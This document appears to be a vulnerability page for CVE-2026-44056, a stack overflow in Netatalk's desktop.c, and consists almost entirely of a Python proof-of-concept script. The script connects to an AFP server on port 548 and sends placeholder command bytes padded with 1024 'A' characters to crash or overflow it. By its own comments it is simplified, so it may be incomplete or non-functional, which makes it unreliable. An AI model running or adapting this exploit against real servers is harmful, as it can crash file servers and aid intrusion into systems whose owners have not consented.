CVE-2026-44056: Netatalk栈溢出漏洞

#!/usr/bin/env python3 # Proof of Concept for CVE-2026-44056 # This script simulates a malformed AFP request to trigger the stack overflow in desktop.c # Disclaimer: For educational and testing purposes only. import socket import sys def send_exploit(target_ip, target_port=548): try: # Establish connection to Netatalk AFP server print(f"[*] Connecting to {target_ip}:{target_port}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(10) s.connect((target_ip, target_port)) # Simulate AFP Header (Simplified) # Real exploitation requires valid AFP session/authentication (PR:L) # This payload is designed to overflow the buffer in desktop.c payload = b"\x00\x04\x00\x02" # Example AFP command bytes padding = b"A" * 1024 # Excessive padding to trigger overflow print("[*] Sending malicious payload...") s.send(payload + padding) response = s.recv(1024) print(f"[+] Received response: {response}") except Exception as e: print(f"[-] Error: {e}") finally: s.close() if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 cve_2026_44056_poc.py <TARGET_IP>") sys.exit(1) send_exploit(sys.argv[1])